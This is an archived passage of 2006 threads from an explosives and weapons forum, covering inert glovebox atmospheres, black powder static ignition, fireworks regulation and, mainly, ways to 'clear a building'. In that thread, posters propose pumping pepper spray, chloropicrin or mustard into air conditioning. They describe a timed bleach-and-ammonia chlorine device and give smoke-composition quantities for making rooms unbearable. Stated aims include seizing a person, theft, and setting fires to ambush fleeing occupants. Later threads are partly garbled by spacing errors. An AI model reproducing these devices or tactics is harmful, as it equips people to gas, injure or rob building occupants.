http://www.181engineering.com/workstations/glovebox.htm
Google is your friend.

Instead of vacuuming and replacing repeatedly, you could use water displacement. This really shouldn't be all too difficult.

You probably don't want to use water displacement, as the water is anything but non-reactive, and you will end up with lots of water vapour.
I'd probably go for something like a CO2 atmosphere, or nitrogen.
You can get nitrogen for near free, dead easy, either by allowing liquid nitrogen to warm slowly and pumping the air out repeatedly, or by using a nitrogen laser feed system.
This burns most of the oxygen, then bubbles through something to remove the CO2 and the last of the O2.
I don't know how reactive LAH is (or even what it is) but CO2 + N2 might be enough. You can do that with a candle to take out the majority of the O2, and then by reacting
something like sodium with the remaining oxygen in your sealed chamber, no pump required.
nbk2000 June 27th, 2006, 11:33 PM

Water vapor from displacement would cause auto-ignition. Fail for that suggestion.
Carbon Dioxide might be useful, but the MSDS says not to use it for fire-fighting, and also says that contact of LAH with acids can cause ignition. Carbon Dioxide is a mild acid
in contact with moisture, so if absolutely anhydrous, it might be useable, but maybe not.
Nitrogen is ideal, and available from welding suppliers cheap. Drying using a very poweful dissicant like sulphuric acid bubbler would be necessary.
Look up a copy of 'The Scientific American Book of Projects for The Amateur Scientist' by C. L. Stong. There's an article in there about cultivating bacteria that includes building a
glove box.
A clear plastic trash bag, with a stick frame inside it, can be used as a simple glovebox. This is known as a 'glove bag'. Google it.
Though you don't need an inert atmosphere to handle LAH, just a very dry one.

I don't know how reactive LAH is (or even what it is) but CO2 + N2 might be enough.
LAH - I'm assuming Nails is talking about Lithium Aluminium Hydride. I know I've heard of it somewhere (drug related). Water is a bad idea.
If I remember correctly, it is formed under ether and is pyrophoric, so having it catch on fire would be VERY bad.
Here (http://en.wikipedia.org/wiki/Lithium_aluminum_hydride) for more info on LAH.
Get a glove box, or flood the area with nitrogen. They are probably your two best bets.
Bugger June 29th, 2006, 08:36 AM

You probably don't want to use water displacement, as the water is anything but non-reactive, and you will end up with lots of water vapour. I'd probably go for something like
a CO2 atmosphere, or nitrogen.
(cut)
I don't know how reactive LAH is (or even what it is) but CO2 + N2 might be enough. You can do that with a candle to take out the majority of the O2, and then by reacting
something like sodium with the remaining oxygen in your sealed chamber, no pump required.
You cannot do that! Sodium burns in pure nitrogen, to form the nitride, Na3N. It may also reduce the CO2, at least to CO. The best choice of all would be argon.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Clearing a building, quickly.....and quietly
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Red Beret June 27th, 2006, 12:42 AM

I wasn't really sure where this should go so I've just put it here, my apoligies if it's not in the right section.
I was thinking the other day, how could one flush a building, without excessive noise, or lethal weapons. My mind was drawn back to a news story I saw a few years back. It
was a nightclub that was eveacuated due to people having trouble breathing, coughing, burning eyes, collapsing and such. It was found that a can of pepper spray had been
sprayed into the air conditioning unit. So I think it could be assumed that an air conditioning unit is highly effective at dispersing anti personell agents.
So, that is one method that could be used, and scaled up with more cans of spray if you want them to clear out more quickly.
Other variations on this method would be; spraying tear gas into the aircon unit, one could also put smoke thorugh with the gas or pepper spray, to increase confusion and
panic. You could be realy nasty and put Mustard or Chloropicrin through.
The applications for this are fairly obvious, but I was thinking along the lines of flushing people from a house, so you could capture get someone you might be wanting to "talk"
to. Or so you could charge in with your gas mask on and take what you want. Obviously the structure would need an air conditioning unit, for this method to work.
Does anyone else have any suggestions along these lines for clearing a building or room?
sdjsdj June 27th, 2006, 04:21 AM

Perhaps flooding the building with ammonia would produce the desired impact, scaring everyone in the building to the extent that an uncertain outdoors seems preferable to
staying put. Alternatively, the traditional smoke bomb and/or petrol bomb and/or minor fuel-air explosive should get people moving fairly quick.
c.Tech June 27th, 2006, 05:28 AM

How about flushing them out with many mini chlorine bombs?
I remember somebody doing a test on a hamster and a cat but I forgot what thread it was from. He ended up waiting 20 minutes or so until the hamster died and then let his
cat out.
(Forgive me if Im inaccurate I havent seen that thread in a while.)
A small improvised 2 sectioned device could be made with ammonium and bleach.
Pull a pin to activate them then let it expand in a way such as strapping and gluing a balloon to the top.
Once the pressure gets too high it will explode releasing chlorine all around the house/building. (Thats probably as OTC as one could get)
Correct me if Im mistaken but if lots of these devices were scattered in vents (or other concealed areas) it would fill the house/building fairly quickly.
deadman June 27th, 2006, 05:53 AM

Well seeing as how he said without lethal. I'm sure he doesn't want anything more than a prank.
I'd say go with a big 5-10 pound sugar/KNO3 smoke bomb. Melting would be a pain in the crapper with such a big amount but if you werer to just put the chems in a large
enough container and shake it would definitley put a lot of smoke through the vents without any threatening gas. Plus a good amount of fuse would for sure light it and give
you enough time to get away.
Again all of these things are over the counter. They are a bit more expensive but safer.
Careful if you use this as it gets hot enough to melt through an A/C vent and would most likely fall through so if you find a spot in a vent over concrete thats perfect.
inventorgp June 27th, 2006, 09:25 AM

Release gases into air conditioning like mustard gas, tear gas
or chloroform.
At Stamford Plaza Hotel (The famous one in Brisbane) there was

something let into the air ways, and they didn't evacuate the
building:eek:
That sounds like something I'd do:p
Yes, very good ideas people - smoke bombs and chlorine bombs.
Smoke bombs through the vents are good, if you don't have "gas".
Or you could stick an explosive near the air intake and set it of!
Sound would travel though the vents into the building and
scare everyone.
Or walk in with a SMG or .50 BMG, uh any gun, anyone that would be
intimidated would have "brown pants" if you know what I mean. heh heh...
DON'T DO CHLORINE, I have nearly choked on chlorine gas WWI style.:mad:
Alexires June 27th, 2006, 12:54 PM

Dead man - use [ instead of <.
c.Tech - Wouldn't the chlorine eat at the balloon?
Smoke is a good idea. A mate of mine (stoned at the time) lit up a 500g batch of blackpowder (fairly rough) in a small room. The first breath in the smoke filled air produced a
burning to the lungs. A few more produced dizziness and sharp pain in the chest.
The problem with that would be that you would need alot of smoke composition to cause mass evacuation of a office block, for example.
How about some good old n-butanoic acid? Smells like rancid butter, and the reputation goes that no one can have a good wiff without vomiting everywhere.
Someone put that in the airvents at a school near here for muck up day. Had to get hazmat in and all and replace alot of stuff that was contaminated.
knowledgehungry June 27th, 2006, 05:53 PM

You could attempt to synthesize cadaverine by the decarboxlyation of lysine(an amino acid). This would most likely require more sophisticated lab equipment than most have
access to, but I doubt anyone would be able to stay in a building with the lovely smell of concentrated death and decay.
An easier way to clear the building is to use a relatively small amount of ethanethiol dispersed throught the vents. Ethanethiol is what gives natural gas its distinctive odor, so if
people smell ethanethiol strongly they are going to assume there is a large gas leak and flee the building. In larger quantities ethanethiol, or almost any thiol will clear the
building by its horrible odor alone, regardless of association with natural gas.

The gas smell is a great idea. No-one is going to sit tight!
The smoke bomb sugar/nitrate mix would work well, just stick the pan on a insulating panel. Even a bit of plywood would be fine.
The balloon idea is a good one. Yes, the chlorine would eat the balloon, but it should take more than long enough for the pressure to have built up, even if the pressure doesn't
pop it right away. In fact, getting the delay to be long enough might be the issue. Don't forget, of course, that cholrine isn't harmless, not at all! It forms HCl in the lungs, and
can kill.
I'm not in the states, but you could probably catch a skunk and shove that in the air vent.
Don't forget, also, that the air conditioner has to be blowing in the right direction, and it also needs to be a centralised system, otherwise you will only harm/affect one small
area.
nbk2000 June 27th, 2006, 10:24 PM

Take a dead animal the size of a cat, enclose it in a black plastic bag (un-tied), leave in the sun for a few days, then tie it closed and toss it in the air intake of the A/C.
If you're not concerned about when it goes off, leave it tied shut. Decomposition will create gases that will eventually rupture the bag, releasing pure retching stench.
Otherwise, just leave it open. :)
Chlorine, in the amounts likely to be created by a chemical reaction in an airvent, would be harmless, though irritating.
Mustard gas? :rolleyes: No, not harmless, though likely non-lethal (<2% fatalities) to the intended targets. But it wouldn't drive them out if it's pure, because it's nearly
odorless, and the raw kind wouldn't be sufficently irritating to flush out someone who didn't want to leave. And anyways, how likely is it that they'd know what that smell
meant?
Chloropicrin would be very efficient, as it'd be a chemical vapor irritant, able to pass through mechanical filters which would be sufficient to stop an aerosol irritant like OC.
Fire works great. Worked at Waco. ;)
Set fire to the front, and wait in ambush at the rear, to blast them as they run out. Quick and quiet, though draws attention with annoying flames.
Exact means would vary depending on your tolerance for injuries/fatalities (theirs or yours), legal consequences, intention (prank?/crime?), etc.

Just following the smoke idea, how about a whole shitload of cheap cigarettes? It might not clear everyone, but it would sure as hell piss people off and would burn for ages.
Perhaps the good old brake fluid and chlorine mix? Maybe in seperate containers that drip into one at an intermediate amount of time, thus hopefully preventing fire, and
having a long lasting effect (depending on the rate of mix).
Hopefully in two days I'll have run a few smoke bomb tests, trying to find a good one. Stay tuned for our next episode!
Chris The Great July 5th, 2006, 01:14 AM

Ethanethiol is one of the worst smelling sompounds in existance, AFAIK the isopropyl variant is even stronger. They can be smelt at concentrations as low a 0.25 parts per
billion for the isopropyl compound. A mere test tube would vacate a building from the stench alone.
Cobalt.45 July 5th, 2006, 02:36 AM

Take a dead animal the size of a cat, enclose it in a black plastic bag (un-tied), leave in the sun for a few days, then tie it closed and toss it in the air intake of the A/C.
Same premise, except using readily available "Fish Emulsion". Sold at nurseries, supposed to be good for plants.
This shit reeks like nothing else I've ever encountered, and can be made worse by "ripening". Leaving it out in the heat for a day or two increases the stench, but if you get
even a small bit on your bare skin, you'll smell it for days.
Works great when applied to the interior material of cars, too...

Don't forget, also, that the air conditioner has to be blowing in the right direction, and it also needs to be a centralized system, otherwise you will only harm/affect one small
area.
Even if it wasnt a centralized system, more devices could be scattered in all the smaller systems, it would be a bonus to find the buildings blueprints. They can be
activated with a timing devices or remote, such as portable alarms.
I was thinking of a compound such as capsiacin or piperine, they should flush people out quick.
It would be slightly more difficult since they are solids. What way could these irritants be dispersed?
Alexires July 5th, 2006, 10:45 AM

I've done a few tests lately regarding smoke compositions and have stumbled across something VERY interesting.
Ever inhale the smoke from a smoldering piece of silver duct/electrical (not too sure what kind) tape? Trust me, if you have, you wont ever again.
When I'm testing my smoke compositions, I normally use a cardboard tube with some of said electrical tape as a seal. In my test room (40m2), about 15cm of burned
electrical tape is unbearable. Stinging eyes, and difficulty breathing are symptoms of this beast.
80g of KNO3 mixed with 50g of Sugar and about 15-20g of Sodium bicarbonate (to slow the burning) will form enough smoke to make vision in the test room way less than
30cm and with the addition of a layer of electrical tape, remaining in said room is unbareable.
At a rough guess, I would say about 300g of said smoke composition to reduce 100m2 building to 0 visability. If you incorporate about a metre of silver electrical tape in there
somewhere (so that it smokes, but doesn't burn) that building will be empty real fucking quick.
I would post images of the test, but I can't, for some reason. It seems that one cannot post images in the Water Cooler. I'll go find a smoke bomb thread and post there (if I
can).
c.Tech, there is a thread with a few ideas on dispersing chilli pepper or some other irritant around here somewhere, but for the life of me I can't remember where it was.

Electrical tape is PVC, I believe, and you get nasty chlorine compunds formed. Aluminium tape for duct repair gives off aluminium fumes - I don't know what they actually are -
and they burn your airways and stink.
A mix of the two would be interesting.
Fact: Duct tape isn't suitable for ducts.
An interesting stink that could easily be done by a timer circuit is that of overloaded LEDs. They stink with an acrid sharp smell that empties a classroom in moments. Plug one
into a mains socket to hear it pop, and find out.
Cobalt.45 July 5th, 2006, 08:58 PM

How about the russkies and their ill executed (no pun intended) attack on the Chechen rebels that took over a theatre over in Moscow? Pumped the place full of fentanyl and
that was that. It didn't clear the place out, though. Just zonked the lot of them to the point of unconsciousness, and/ or coma and death.
I like the smoke grenade approach to the situation. All that's missing is one word- FIRE!!! People will literally trample each other to death to escape, in some situations.
Big smoke device. Dim lights. Scream FIRE.
My bad- "Clearing a building quickly and quietly"... no yelling involved.

c.Tech, there is a thread with a few ideas on dispersing chilli pepper or some other irritant around here somewhere, but for the life of me I can't remember where it was.
That thread is here http://www.roguesci.org/theforum/battlefield-chemistry/2649-pain-compound-smoke-bomb.html?highlight=capsiacin, Ive read it a couple of times before .
But I was more referring to dispersing them in a solution or gas (such as butane).
The chili oil idea didnt work very well for me. I soaked a tissue in chili oil and burnt it with my head directly above it, nothing happened. Although when I put some on a
cigarette and told my friend to smoke it he coughed a couple of times then later he said it made his throat feel numb (so I know there was some capsiacin present).
Maybe I didnt use a good enough source of chilies (supermarket powdered). I'm thinking Tabasco sauce next.
I searched google for the extraction and other useful information some time back and found these links. They will be of some use to people wanting to extract piperine
especially the last one.
http://66.102.7.104/search?q=cache:8j3n_A50ZyQJ:www.noractech.com/technology/maypaper.doc+piperine+extraction&hl=en&gl=au&ct=clnk&cd=1
http://www.bioperine.com/us_patent.htm
http://66.102.7.104/search?q=cache:tLzJyI0TokoJ:courses.chem.psu.edu/chem36/Chem36H/IndivExpt1/
874%2520Piperine.pdf+piperine+extraction&hl=en&gl=au&ct=clnk&cd=9
http://taylorandfrancis.metapress.com/(rxbgoy55vwk5orajte2hovaz)/app/home/contribution.asp?referrer=parent&backto=issue,8,13;journal,26,113;linkingpublicatio
nresults,1:102600,1
http://students.chem.tue.nl/6n220-8/introduction.htm
http://www.ceresconsulting.com/images/SMI2005Formulationst.pdf
http://www.omniactives.com/piperine.htm
http://www.pharmcast.com/Patents/102699OG/5972382_piperine1102699.htm
http://www.chem.ualberta.ca/~orglabs/x61web/frames/psl4/fr_psl4_labtips.html
http://www.sciencemadness.org/talk/viewthread.php?tid=4698
neo-crossbow July 6th, 2006, 10:02 AM

Back in my army days a little twerp of a man put some tobasco sauce inside a warmer pocket for MRE's. It certainly cleared a barracks of sensetive eyed princesses in uniform.
Tobasco in aerosol form is nasty. It also can be kitted up to a kettle that is kept on boil with the help of some electrical tape. Takes time to fill a room though.

c.Tech - I did a few experiments involving KNO3 + Sugar compound and chilli. It seems that the temperature is enough to decompose the chilli (not suprisingly). I was thinking
of bubbling the hot smoke through a chamber of chilli extracted into oil or something of the sort. Maybe that would be cool enough to prevent it from burning up.
Butane is a wonderful thing. If the container you are using is even SLIGHTLY capped, the butane won't evaporate. Hence, it would be easy to fill a (roll on) deoderant bottle
with butane+chilli and then when the time came to use, unscrew the top (ball is already removed for easy access) and tip onto carpet/bread/wood/anything porous.
I found that ear plugs are good for a slow release of butane, probably charcoal would work too (the pre-burnt stuff, not the coal looking ones).
Update: Hmmm, yes butane might work for extracting the capsaicin, but it doesn't seem to vaporize it all that well. A little burning in the throat, but nothing spectacular. I used
powdered chilli too, so maybe it is just crap. Tabasco may indeed work better, but I have none.
*sigh* back to the drawing board (Although, my fingers ARE burning, but upon licking them, there was nothing, so maybe it was the cold).

I don't think, in this day and age, you are going to clear a large building (more than 10 unrelated people) without a fuss. The first sign of anything wrong enough for them to
have to leave is going to get a panicked response.
Be it a fire, smoke, itching powder or whatever, some people are going to panic and think it is the terrorists, even if it is burnt toast.

I don't think, in this day and age, you are going to clear a large building (more than 10 unrelated people) without a fuss. The first sign of anything wrong enough for them to
have to leave is going to get a panicked response.
Be it a fire, smoke, itching powder or whatever, some people are going to panic and think it is the terrorists, even if it is burnt toast.
Not always. People do panic but by the time it would take for emergency services to arrive you could have kicked in the door, done your 'business', got out and drove off.
Unless you need to do a time consuming task, then you should act in stealth or dress as a staff member.
Lots of the time panicky events arent even taken seriously.
Some time ago in Melbourne I was on a train heading out of the city far from home. The train stopped and we herd over the loud speaker, We have been advised by the
Victorian police that you need to leave the train or similar to that. We all got off and crowded around the station.
I soon found out that somebody pushed the emergency button with a bomb threat of some sort. They seemed to have taken someone in the back of their car but I didnt
really see much.
Our train left of an hour after stopping. Unfortunately we were one station away from where we needed to go and it was raining. At the time the train left we had already
organized for a lift which was quite difficult at midnight.
Why only 4 police cars came and we were all left to crowd around the station, I dont know.

That's the difference though. An announcement is one thing, choking chemical smell and visible smoke is another!
True, but what Im trying to say is if you have a small quick task to do, such as destroy or steal a computer you could be in and out of there in a heartbeat.
Emergency services will come (depending on what everyone thinks it is) with their NBC suits, guns etc. but there not going to be there within 15 seconds.
If a fire, electrical fault, etc. happened the result wouldnt be as drastic. If you could make the event look like a mistake or f ire you could still get people out as quick
without the terrorist threat. How about flushing the house with LPG and a bit of smoke from burning wood (away from each other of course to prevent explosion)?
One would need a good, quick and secure escape route.

c.Tech - In a world where pizza gets there faster than the pigs do.
Exerd July 14th, 2006, 02:18 AM

While I cannot suggest anything further than the pepper spray, I can contest that the stuff works with immediate scatter and impact on a crowd...
While at a medium-sized outdoor convention about a year ago, I actually experienced a strikingly similar incident to the club that was evacuated.
Apparently, someone had to of unleashed a can of pepper spray, but I do not know if it was directly into the ventilation system. I remember hearing a man start to cough
loudly while I was walking...suddenly I noticed people everywhere were starting to cough in different areas I looked. So I started to breath slower and walk faster to clear from
the area. I immediatly assumed pepper spray, as I have experienced it, and fortunately it only managed to hit me the slightest bit in this incident. I do know however that in
the affected area, people were violently gasping for air and clearing out, and the unknown source spread quite rapidly through the large building. It ended up covering (and
affecting fairly badly) quite a large area of people.
I don't know how much was sprayed that day, but it sure has some nasty abilities on crowds after witnessing this. The biggest concern for anyone I would have to say, is truely
not knowing exactly what you are breathing when it happens. You simply want to evacuate.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Black powder not affected by static?
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View Full Version : Black powder not affected by static?

So I have been just surfing the net and ran across this:
http://www.ctmuzzleloaders.com/mlexperiments/sparks/sparks.html
If this is correct and not doctored then it would seem that black powder isn't set off by electricity. This of course does NOT mean sparking media can be used because those are
not electric sparks.
BTW I do not believe these pictures to be doctored, but you shouldn't always believe pictures from one source.

That's pretty neat. I would say that the results for Swiss 4F (or any other commercial BP) is probably different to a home-made BP, as commercial BP is coated with graphite
and polished, which stops, er, static discharge issues, as well as increases ease of handling. The coated grains take up moisture more slowly, don't cake, and don't tend to clog.
Homemade BP generally doesn't have this coating, so static might still be an issue.
Also, the capacitance of those spark sources will be low, as the current carried in the arc is tiny. Don't forget that lightning, which blows trees apart, is static electricity, and that
many, many powder mills have been blown to bits by static discharges in the past.
nbk2000 June 27th, 2006, 07:57 PM

The reason is likely because of the non-porous nature of commercial BP, as well as the conductive graphite dust that the grains are coated with.
Compare that with home-made powder, which is both porous and non-conductive, allowing heat to be created by the resistance to the flow of the electricity.
Zajcek June 27th, 2006, 08:12 PM

I also experimented with sparks and black powder some time ago. In some cases it went off, in some it don't. I think it relay depends of frequency of the current and the
current(I <A>) itself and other factors.
If I added a resistor with big resistance and lowered the frequency, to prevent arc forming (arc is very hot) then in most cases the black powder/gunpowder did not ignite. And
it depends of the powder used. If I remember correctly, the gun powder was more stable than homemade BP. (If you wet the paper, then the gunpowder nor the black powder
will ignite)
If you will experiment with this, be careful, use safety glasses at all time ( I learned that the hard way )

I have seen industry data on static ignition in processing. The ammount of energy needed for ignition is TINY. I will look for my source materials. In the meantime, do not feel
emboldened by this guy's experiments, they have little bearing on home manufacture!

Just conducted a very non-scientific experiment, but one that was interesting.
Regardless of the outcome, I'm gonna assume that static and BP don't mix.
Using a BBQ lighter (the electrical sparking kind) a one gram pile of bone dry BP would not ignite when sparked repeatedly. Nor would flash.
Same BP, lighter. This time, the BP was placed in a 6" cardboard cube, lighter leads fed into the box through a 1/16" hole, and a 1/4" hole was made for the tip of an air hose
connected to a regulated air supply set to 5 psi. With the BP suspended in the air, it went off with the first strike of the lighter.
Granted, these were contrived conditions that wouldn't ordinarily be encountered. Many dust explosions have been documented, from grain silos on down, so this comes as no
surprise. But to someone who is careless, this phenomena could get them into trouble.
Upping the amperage of an electrical discharge will also light BP. Same one gram of dry BP, in a pile.
Set my arc welder to it's lowest setting (40A). I used a 22 gage copper wire as the electrode, grounded the plate that the BP was placed on, and struck an arc. Yep, it lit
immediately.
So somewhere between the two (BBQ lighter and DC welder) is where BP ignites.
Someone with a regulated DC power supply could narrow this down considerably.
inventorgp June 28th, 2006, 12:45 PM

Well I'm pretty sure an arc welder would work.
As soon as you strike an arc it creates intense high-temperature plasma.
The temperature would ignite it.
EDIT: My big mouth
Cobalt.45 June 28th, 2006, 11:27 PM

With six mistakes in grammar in two sentences, I'd go easy on the "duh's", 'twas thee me. And I'm having a hard time igniting H2O with the old Lincoln...
duh, of course an arc welder would work - on any thing.

As soon as you strick an arc it creates intense high-temperature plasma,
inturn lighting the powder.
For sparking, it depends on the current:)
Oh, and amperage IS current.

Is there a difference in the heat of a small electrical discharge compared to a larger one? Or is it a function of amperage over time?
"The temperatures of both types of spark are high and are potential sources of fire or explosion. The incendivity of a spark depends to a large extent upon its total energy
content but also on time over which the energy is deposited. It is difficult to measure the incendivity of sparks, however it is typical and prudent to regard any which occur in a
vulnerable region as a hazard." (On thermal and voltage sparking, quoted from the NLSI web page.)
Then, from ctmuzzleloaders.com, this: "For the second experiment, I used an Oudin coil, which is used for testing glass neon fixtures for leaks. It produces pulses in excess of
40,000 volts and will give you quite a burn (and shock) if you let it hit you.
This was impressive! The pile of powder was hit dozens of times, and again, it never ignited. You can see little flashes where the sparks strike; these are caused by
vaporization of material from the surface. Although I couldn't get a picture of it, the paper had hundreds of tiny holes punched in it where the sparks burned through.
The next picture shows a similar test set-up, except this time the black powder was ground into dust-like consistency. Again, no ignition, even though the sparks striking the
middle of the pile blew powder clear from the areas where they struck."
So, at what amperage will ignition occur?

If you were talking to me about grammar, the only word spelled wrong
was strike. I spelled it strick.
Oudin coil is a type of configuration for a Tesla Coil. The end of the secondary
is connected to the primary coil instead of ground. TC's doesn't produce a lot
of current.
I've built a triac circuit and hooked up a 7mF cap to a auto ignition coil.
It produced about 100000V (100kV) at 20mA. And the heat from the
arc was hot enough to light matches etc. not the spark.
I've also have built an 21VAC 60A transformer hooked up with a bridge rectifier. I started to
pull small arcs about 1cm. It started to melt MnO2!
Just think of arc furnaces.:)
EDIT: Spelling/Grammar
deadman June 29th, 2006, 05:23 AM

I am positive he was talking to you about grammar. I'm sorry I have to actually tell you this, but spelling has nothing to do with grammer. And "spelt" should be spelled. For
better grammar work on using the right article or in some cases any article.

I must be the most illiterate and blind person in this would, especially after 12 years of schooling.
I'm Sorry for my rudeness:o
I'll go fix my mistakes.
Cobalt.45 June 29th, 2006, 01:10 PM

Earlier, I had clicked on a web site that was featured in a post by deadman, "ctmuzzleloaders.com". Copied and pasted an excerpt from that site. It totally slipped my mind
where I had gotten the site from.
The National Materials Advisory Board did a study involving the minimum ignition energy of various dusts. Closest to BP was coal dust, 200 mesh. It required .06 joules to
ignite.
The power supply used was various values of capacitors discharging through the primary of a neon light fixture transformer. Measurements of current and voltage was done
with a Fluke meter.
They tested all manner of dusts, but alas, no BP.
I suppose the bottom line for me is to be careful with potential static discharges, period.

I've got to say that if you hit a drop of water with a 40A arc, you will get an explosion of steam. D'uh!
Anyway, you are right about the total energy being what matters. A high voltage goes further as a spark than a low voltage, and the current is what does the damage.
It's the volts that jolt,

but the mills that kills.
(Mills refers to milliamps, as only a few milliamps across the heart will kill.)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Join the Fireworks Alliance
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T h o s e o f y o u i n t h e U S in particular, please consider joining the Fireworks Alliance .
http://www.fireworksalliance.org/cgi-bin/viewpage.pl?p=about
It's free. They are the only on es now fighting the CPSC in their attem pt to destroy the pyrotechnic chem ical suppliers.
T h e s e a r e a m o n g t h e l a s t p e o p l e p r o v i d i n g t h o se with an interest in hom e science with chem i c a l s . P l e a s e t a k e a m inute and
look at the web site, perhaps even write a letter- The CPSC is trying to do something here even the BATFE does not want to do,
and they are W AY out of bounds.
It's good to be able to work from O T C o b t a i n e d a t H o m e D e p o t a n d t h e h a r d w a r e , drug and auto stores of course. But I for
one would like to continue to be able to order a pound of this and a pound of tha t for testing new m ixes. I have a BATFE
license to m anufacture explosives, but suppliers such as Service Chem ical DO NOT sell you less than a drum , bag o r pallet of
anything.
Thanks.
tmp June 29th, 2006, 03:04 PM

Bert, I'm a m e m ber of TFA an d get the online newsletter from Skylighter.
Yes, I can produce my chlorates, m eta l powders, nitrate s, and perchlorates
but it's still n ice to be able to order a pound or 2 of that special com p o u n d
for pyrotechnic m ixes. I've ordered from Skylighter and even bought som e
visco from another vendor. O n occasion, m y pa rt-tim e j o b s e n d s m e out to
the Purcelville, Virginia area. When I have more time, a nd cash, I'll stop in
to pick up su pplies.
As for BATFE type 20, I'll have wait for som e time before I can get that.
This is mostly due to catching up on expenses from having just m o v e d a n d
what I just had to fork out for another disk drive(FTP).
The problem I have with the CPSC is the same as othe Federal agencies.
Congress enabled these bastards to effectively write whatever re gulation or
law they want. The last tim e I c h e c k e d t h e C o n s t i t u t i o n , o n l y C o n g r e s s h a d
the authority to create laws and they shouldn't shirk the ir responsibility by
allowing unelected bu reaucrats determine what applies to the rest of us.
Part of the problem with m ost politicians is that they're sycophants of the
nanny-state(AOL should be so proud !). Not surprisingly, they're the ones
generally in favor of gun control. I've often wondered if the practices of the
CPSC and others could withstand a U.S. Suprem e Court challenge.

It's a type 50, license to m anufacture display fireworks. We should get a type 20 license to manufacture high explosives this
fall, when we get a type 2 m a g a z i n e i n place (buying a nice gravel pit, we hope). R egardless of what som e pyro sup pliers
claim, ATFE does not require a type 20 to m anufacture flash (according to our inspectors).
Taking this to court is going to require a LO T of m oney. They're the governm ent- W e get to pay both halves of the legal bill!
R e g a r d l e s s , i t m u s t b e done. I don't want to see the craft choked to death by goddam n e d u p p i t y p i n h e a d e d b u r e a u c r a t s .
Bert July 5th, 200 6, 01:26 PM

Here's an interview with a "hobbyist" pyro on NPR. Better done than m ost m ainstream m edia stories- He prom inently mentio ns
the fact he won't be putting on his town's 4th of July show if the C PSC has its way.
http://www.npr.org/tem plates/story/story.php?storyId=5 5 3 1 0 2 5

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Misinformation: 4th of July.
W ikipedia?
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mattb June 29th, 2006, 11:49 PM

I s i t m e o r d o t o o m a n y p e o p l e h a v e h i d d e n a g e n d a s d isguised as factual inform ation. Wikipedia, one of my favorite sites for
u n b i a s e d i n f o r m a t i o n , h a s b e e n t a i n t e d b y f i r e w o r k h a t e r s p o s i n g a s e d u cated pe ople. I found this twisted
g e m under the Fourth of July entry: " In m any states, sm aller fireworks are sold for personal use or as an alternative to a
public show. C oncerns about safety have led some states to ban firework s or lim it the sizes and types allowed, but illicit traffic
brings som e o f t h e m ore powerful firecrackers in from less restrictive border states". http://en.wikipedia.org/wiki/
Independence_Day_%28United_States%29 :confused: The last tim e I checked only 50mg of flash is allowe d in any of the 50
states for crackers. W hoever put this h ere produced a fictional interstate blackmarket for ground salutes. Maybe we should only
allow "sm all" fireworks in the states that allow "large" fireworks so no more M-80's and such com e out of the "large" states
LOL. Yet the governm e n t s e e m s to ignore that there is an endle ss supply of 1.3 fireworks coming, somehow, from licensed
individuals.
R e m ember, even responsible adults can't predict the path of a poorly aimed shell in a densely populated area, yet still m-80s
are illegal.

BATFE doesn't ignore the bootlegging of 1.3- O ften loca l police don't even bother to even call BATFE because they h ave little
idea what they're seeing (or seizing!) and don't know anything b ut their local fireworks laws. C ase in point: http://wcco.com/
topstories/local_story_177220152.htm l The fire chief has a clue. The cop clearly d oesn't.
I f y o u h a v e a n e n d l e s s s u p p l y o f 1 . 3 f o r u n l i c e n s e d p e o p l e i n y o u r a r e a , y o u m ust have quite a few injuries?
I don't understand your last sentence. "Poorly aimed shell"??? Shells go where the m ortar is pointed. Rockets can h a v e a m i n d
of their own...
nbk2000 June 30th, 2006, 02:44 AM

They're using the term 'firecra cker' to refer to ALL fireworks.
There are plenty of fireworks besides salutes (firecrackers), such as rom an candles, aerial shells, helicopters, and m ore, which
are perfectly legal in one state, but not the next.
So, naturally, anyone with sen se goes to the state that sells REAL fireworks, and brings them back home, rather than m e e k l y
acce pting the puny sparklers and fountains that more restrictive states (like C alifornia) allow.
All states lim it firecrackers and salutes to 50m g of powder, regardless of appearance. So the ones that look like the old style
M80's, are nothing more than a regula r firecracker inside of a plaster filled cardboard tube, for extra confinem ent.
If you want kick-ass salutes, m a k e ' e m y o u r s e l f .
Oh, and don't believe everything you read on Wikipedia. ;)
Sausagemit June 30th, 2006, 05:08 AM

I'm g l a d I l i v e i n o n e o f d e m thar les restricted states that also happens to sell fireworks all year round. Although setting them
off (especially bottle rockets) within city limits all year round (not includin g the 4th) is som ewhat frowned upon and illegal.
Although if the cops catch you they will just give you a slap on the hand and tell you to stop.
But the cops (and forrest rang ers) in this state don't take too kindly to youngsters setting off explosives in the state parks
(havn't got the guts to do it in a national park yet as if they catch you they will castrate yo u ) . H a d a b o u t 4 o f t h e m t r y t o s n e a k
up on us while m e a n d s o m e friends were "disposing" of som e old com puter parts.
And this is the state where all the neigboring states get their fireworks, around this tim e of the year all you see at the fireworks
stan d s a r e C o l o r a d o / N e b r a s k a / U t a h l i c e n s e p l a tes.
mattb June 30th, 2006, 02:45 PM

W ikipedia is, for the m ost part, professional for academ ic subjects such as thermo, m ath, physics, etc. For political subjects, I
don't know. Check this out for M-80's
M - 1 0 0 0 5 0 - 1 00gr.? (http://en.wikipedia.org/wiki/M-80_%28explosive%29)
That's alot of flash powder. I guess that m a k e s m o s t o f t h e s a l u t e s I ' v e e x p e r i e n c e d f e e b l e . H m m m t h i s g u y m u s t b e t h e

definitive guide on salutes:rolleyes: . I guess HE m ust be M-100000 or "county busters" a s they are called in the midwest LOL.
Bert July 1st, 2006, 12:21 PM

If he thinks that the "M-XX" num bering of bootleg firecrackers has any relation to what kind or how m uch flash the m akers put
in them, their physical size or power re lative to "dynam ite", he's not an expert.
mattb July 2nd, 2006, 01:15 AM

BTW , what the hell is this?
Sonic Boom Signal Mortar (http://i.b5z.net/i/u/2001189/i/Sonic_boom .JPG)
I t s e e m s t o m e this device directs sound or am plifies it( I don't have acoustics experience). The site claim s its relatively louder
than a salute.
Cobalt.45 July 2nd, 2006, 09:52 PM

For starters, the makers recomm e n d u sing 500 grain ch arges in it. So you'd get 14 "shots" per pound of BP.
I can't rem e m ber the price, but do rem e m ber thinking that it was expensive considering what you got.
They warned not to use flash in it, but went on to say how they loaded it with som e u n g o d l y a m ount of flash and lit it off, with
no detrim ental effect to the device. I guess that was their way of "proofing" it, but all it really says is that the one they shot the
flash in held, once.
Jacks Complete July 3rd, 200 6, 01:13 PM

They warned not to use flash in it, but went on to say how they loaded it with som e u n g o d l y a m ount of flash and lit it off, with
